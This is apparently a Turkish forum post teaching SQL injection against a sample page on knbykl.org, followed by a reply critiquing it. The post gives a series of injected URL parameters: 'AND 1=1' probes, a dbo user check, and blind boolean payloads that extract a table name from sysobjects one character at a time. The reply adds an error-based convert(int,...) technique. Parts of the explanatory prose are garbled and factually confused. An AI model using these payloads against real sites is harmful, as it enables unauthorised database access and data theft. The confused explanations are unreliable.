Dünya çapında bir ag diyebiliriz. 20. yüzyılda gereken degerini yükseltmis ve istedigi yere ulasmıs bir kod yıgını. Hükümet ve bazı is alanları internet konusunda güvenilir bir veri arayısı içindeydiler ve bir teklif sonucu SQL ortaya çıktı. Yine de güvenligi arttırmak için hayatımıza giren SQL kodlarında kritik güvenlik çıkısları ile hayatımızdaki internet güvenligine bir bakıma engel olmaktadır.
Emniyetli uygulamaları insa etmek, ortaya koymak, gelistirmek ve herhangi bir yazılım ürününün gerçek bir bileseni oldugunu saptamak amacıyla ortaya çıkmıs bir veri türüdür.Bir resmi açıklama yapan sistemdeki kör noktaları kavrayabilmemize dahi yarayabilir.Kısaca bir not daha eklersem eger SQL Injection’un Türkçesi SQL Enjeksiyon ’dur. Hatta Injeciton’un karsılıgı da enjekte’dir. Bu yüzden ”SQL İnjeksiyon” yazan kisiler tamamen baska bir boyut katmıs olurlar.
SQL Enjekte //
İlk basta verilerin dokunulmasına izin verin. Verilerle iç içe olun. Hiçbir standart veri SQL Enjeksiyon olmasına veya çalısmasına olanak saglamaz. Eger ki veritabanı sahibi kolonlara giris için yetki verdiyse, saldırganlar bu yetkiyi degerlendirip gereken metodu uygulayacaktır.Küçücük bir hata en büyük sistemlerin bile gülünç duruma düsmesi demektir.Veri türü kullanıcıdan gelen veriyi kabul eder ve bir düzene baglı olarak SQL sorgularını kullanıcının istegiyle veritabanına yükler.Saldırgan bu verileri aklını kullanırsa hertürlü düzenleme,ekleme ve silme yetkisine sahiptir.Bazı kosullarda ise saldırgan veritabanının köküne inmek ister ve basarılı olursa isletim sistemine dahi girebilir.
SQL Enjeksiyon Korunmasızlıgı //
Aglar genellikle, bir veritabanından veriyi gerçi çagırmak için kullanıcının girisiyle olusan bir yapıdır. simdi sizlere bir örnek gösterecegim. Bu örnekte site adresi kullanmayacagım fakat sadece bu sitenin kullandıgı dosya isimleri üzerinde anlatım yapacagım.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5
simdi buradaki sayfayı açtıgımızda veritabanında çagırılan tablo su sekilde olacaktır.
SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5
Eger ki siz bu tipte bir url ile karsılasırsanız heyecanlanmayın, çünkü bu size bir sey kazandırmaz.Eger ki siz bu sisteme nasıl girerim diye düsünürseniz aklınıza gelecek ilk alternatif, sistemde ki “pressReleaselID” tablosunda bir hata aramak olacaktır.Bunu nasıl yapacagım diye düsünürseniz ;
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND 1=1
Bu islemi uygulayınız. Burada sadece “AND 1=1” kodunu eklemis bulunuyoruz.
SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5 AND 1=1
İslem sonucu veritabanındaki tablodan bu hücreyi istedigimizi belirtiyoruz. Bu islem veritabanının ne kadar hassas oldugunu bize verdigi hata kodlarıyla bildirecektir.Eger ki sistem güvenli olmus olsaydı saldırganın bu istegini ( 5 AND 1=1 ) geri çevirecekti ve Düzgün bir biçimde hatayla karsılılasılacaktı.
Hatalarla Ulasılan Verileri Sömürmek ( Exploit the Vulnerability ) //
Ne zaman SQL Enjekte etmek için test ettigimiz adreste veritabanı her zaman kendini sorgular. 1=1 her zaman dogrudur. Biz ne olursa olsun önce nerede hataların oldugunu ve Enjekte edilecek bölümü bilmeliyiz.Eger bir enjekte durumunda sonuç tekrar aynı yere dönmüs olursa enjekte ettigimiz alanın dogru alan oldugunu anlarız. Biz her zaman sorgu yapmalıyız ve bu sorguya yönelik gelen cevabı veritabanı bize verir. Acaba bu cevap : “Genel kullanıcı dbo” yanıtı vermektemidir ?
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND USER_NAME() = ‘dbo’
USER_NAME güncel kullanıcının tablosuna dönen bir SQL servisçisi sayılırsa veya genel kullanıcı “dbo” ise 5. tablodan çagırdıgımız veri dönmüs olacak, eger degilse sorgu basarısız olacaktır ve hiçbir bilgi görüntülenmeyecektir.Eger ki çok detaylara inmek istiyorsanız veya söyle demeliyim kendinize güveniyorsanız su tipte de sorgular yapabilirsiniz.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 109
Subquery ( SELECT ), veritabanında ilk kullanıcı islemi için ismi soruyor
Substring Görev, sorgunun sonucunun ilk karakterine dönecek. Saldırının son karakterine kadar dönmesini saglayacak.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 116
Bu kodlardan çıkan yorumumuz ise söyledir ; Eger ki sorgumuzda hiçbir deger geri dönmüs olmazsa sorgumuz 109’dan daha büyüktür.Ama 116’dan büyük degildir.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 113
Yanlıs ifade diye nitelendirilir. Biz bu sonuç karsısında ulasacagımız verinin hangi kolonlar arasında oldugunu görebiliriz. Siz göremiyorsunuz fakat benim buldugum sonuç : 110 – 113 arasında çıktı.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) > 111
Sonucum ben de yeniden yanlıs çıktı. 111 yazmamın nedeni bundan bir önceki sorgumda sonuca 110 ile 113 arasında bir sayıdan ulasacagımı bilmemdir. Bu yüzden bu arada bir rakam denedim.
http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 2, 1))) > 109
Sonuca ulasıncya kadar çıkan sonuçta veri aktarımı yapın. Sonuna kadar ilerleyin elbet sonuca ulasacaksınız.
Kaynak :
http://knbykl.org
Elestiri :
“ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1)))”
demi$sinde hoca,$imdi biraz hatalar var bu i$te :) “SELECT TOP 1 name FROM sysobjects…” gibi bir komutu mssql icin kullaniyoruz.ama dokumanda ki ornek mysql’mi mssql’mi belli degil? ya deneyimsiz saldirgan bunu mysql bir sisteme deneyip husrana ugrarsa? bilgilendirme bu tur dokumantasyonlarda onemlidir.ayrica convert(int,(select blabla)); gibi guzel bir yontem daha var,dokumana eklenebilir
SQL Enjekte Temel İçerik [Örnekli]
- velociraptor
- Yottabyte4
- Mesajlar: 51184
- Kayıt: 14 Mar 2006, 02:33
- cinsiyet: Erkek
- Teşekkür etti: 12461 kez
- Teşekkür edildi: 9508 kez